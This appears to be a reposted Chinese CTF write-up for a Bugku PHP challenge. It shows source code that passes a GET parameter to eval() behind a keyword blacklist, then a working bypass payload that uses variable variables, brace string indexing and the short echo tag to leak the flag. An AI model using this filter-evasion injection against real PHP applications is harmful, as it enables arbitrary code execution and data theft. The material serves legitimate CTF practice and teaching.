其他分享
首页 > 其他分享> > 二十八、bugku 闪电十六鞭

二十八、bugku 闪电十六鞭

作者:互联网

php字符对照
&quot="

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';
    $exam = 'return\''.sha1(time()).'\';';
    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }
    echo '<hr>';
    highlight_file(__FILE__);

?flag=return%27d80d94ea3543f3677e904dd762dc613b764cb262%27;

<?=flag;?>
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111

使用短标签可以构造出echo:

<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>

当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,去改。
在PHP中,大括号“{}”可以起到如下作用:
将多个独立语句合并为一个复合语句,例如 if … else …中经常如此使用
在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}${$my_var}[8]的区分
用于指示字符串变量中的单个字符(下标从0开始)。

标签:bugku,二十八,闪电,GET,echo,flag,PHP,标签,else
来源: https://blog.csdn.net/m0_53008479/article/details/120123619